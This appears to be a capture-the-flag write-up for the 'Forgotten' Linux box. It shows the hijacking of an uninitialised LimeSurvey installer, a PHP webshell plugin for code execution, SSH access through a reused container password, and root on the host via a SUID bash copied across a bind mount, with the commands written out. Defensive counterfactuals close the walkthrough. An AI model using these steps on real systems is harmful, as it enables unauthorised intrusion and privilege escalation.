Summary
Forgotten is an Easy Linux box where the web app at /survey is
an uninitialised LimeSurvey 6.3.7. Because it’s pre-init, an
attacker can point the installer at their own MySQL and create the
admin account themselves. LimeSurvey’s super-admin role can edit
PHP plugins; ship a webshell plugin → RCE as limesvc inside the
container. Container env has LIMESURVEY_PASS reused for SSH on
the host. From limesvc on the host: the container’s
/var/www/html/survey is bind-mounted from the host’s
/opt/limesurvey, and inside the container limesvc has sudo —
copy bash to that mount with SUID, run as root from the host.
The chain:
/surveyshows LimeSurvey installer (uninitialised).- Run a local MySQL, point the installer at it, create admin account.
- Upload malicious LimeSurvey plugin (PHP webshell in
0xdf.php+ minimalconfig.xml); install; visit endpoint → RCE aslimesvc(container). env | grep LIMESURVEY→LIMESURVEY_PASS=<redacted>.ssh limesvc@<host>works (password reuse).- Inside container:
sudo -i(limesvc has full sudo there)./var/www/html/surveyis the host’s/opt/limesurveybind-mount.cp /bin/bash /var/www/html/survey/rb && chmod 6777 /var/www/html/survey/rb. From host:/opt/limesurvey/rb -p→ root.
Recon
22/tcp OpenSSH
80/tcp Apache 2.4.56 (in container) → /survey is LimeSurvey 6.3.7 installer
Foothold — install LimeSurvey, plugin webshell
Set up local MySQL on attacker box, allow it from the target’s egress (or from a proxychains tunnel if needed). Run the installer:
- DB host:
<ATTACKER> - DB user/pass:
<your local> - Admin:
0xdf : 0xdf
Now log in. Settings → Plugin Manager → Install. Plugin zip:
0xdfPlugin/
config.xml <metadata>
0xdf.php <?php system($_REQUEST['cmd']); ?>
Install + activate. Reach http://<TARGET>/survey/upload/plugins/0xdfPlugin/0xdf.php?cmd=id.
RCE as limesvc.
Container → host
$ env | grep -i lime
LIMESURVEY_PASS=<redacted>
ssh limesvc@<TARGET> accepts.
Host root — bind-mount + sudo in container
# inside container (limesvc has full sudo there)
sudo cp /bin/bash /var/www/html/survey/rb
sudo chmod 6777 /var/www/html/survey/rb
# on host
/opt/limesurvey/rb -p
# uid=0
The container’s /var/www/html/survey is bind-mounted from
the host’s /opt/limesurvey; SUID bits survive across the
bind because it’s the same filesystem.
Why each step worked
- Uninitialised LimeSurvey: the installer was reachable; no protection against an attacker initialising it themselves.
- Plugin install + super-admin = code execution: by design.
- Env-var credential reuse: the same string was injected into the container as a config value AND set as the host user’s password.
- SUID across bind mount: bind mounts share the same inode; privilege bits cross the boundary.
Counterfactuals
- Don’t ship uninitialised LimeSurvey installs to production;
block
/installafter first run. - Use a unique container env var for the LimeSurvey DB password, not the host SSH password.
- Mount the LimeSurvey directory
nosuidso SUID bits in the container don’t apply on the host.
Driving the installer non-interactively
LimeSurvey 6.x’s installer is a multi-step web wizard. From the
attacker side a Python requests.Session walks all stages without
a browser, but two LimeSurvey-isms make the request flow non-obvious:
- Path-style URLs render the form, query-string URLs render a
stub.
/survey/index.php?r=admin/authentication/sa/loginreturns a 1000-line page where the “login form” is just a language selector — the actual<form id="loginform">withuser/password/YII_CSRF_TOKENonly appears under/survey/index.php/admin/authentication/sa/login. Going via the path-style route both for the GET (to extract CSRF) and for the POST is required. Going via query-string returns 400 “CSRF token could not be verified” because the GET response never embedded a token. - Pre-check is a redirect, not a form post. After the welcome
and license POSTs (each accepts a CSRF token + minimal payload),
installer/precheckis static — its only “Next” element is a<input type="button" onclick="window.open('/survey/...installer/database')">, not a form. The flow needsGET ?r=installer/databasehere, not POST?r=installer/precheck. Posting precheck returns 400 because the precheck page has no CSRF input to seed the next request.
Once those two are right, the rest of the wizard is straightforward form posts through database → createdb → populatedb → optional (admin-user creation) → done.
A complete driver script — handles CSRF, cookie-jar, all the steps
above — lives at
notes/engagements/forgotten/scripts/install_v5.py
and
scripts/login_path.py.
Note the MariaDB user-creation gotcha that cost real time: a
CREATE USER IF NOT EXISTS … IDENTIFIED BY 'pw' is a no-op for the
password if the user already exists from a prior run. The user is
present, the host wildcard % matches, but the password remains the
old value, and the installer’s “CDbConnection failed to open the DB
connection” / “Could not create database” error doesn’t make the auth
nature of the failure obvious. Always ALTER USER … IDENTIFIED BY
'pw' (or pre-DROP USER) when seeding the lure DB; verify with
mysql -h <KALI> -u <user> -p<pw> -e 'SELECT 1' from a fresh shell
before pointing the installer at it.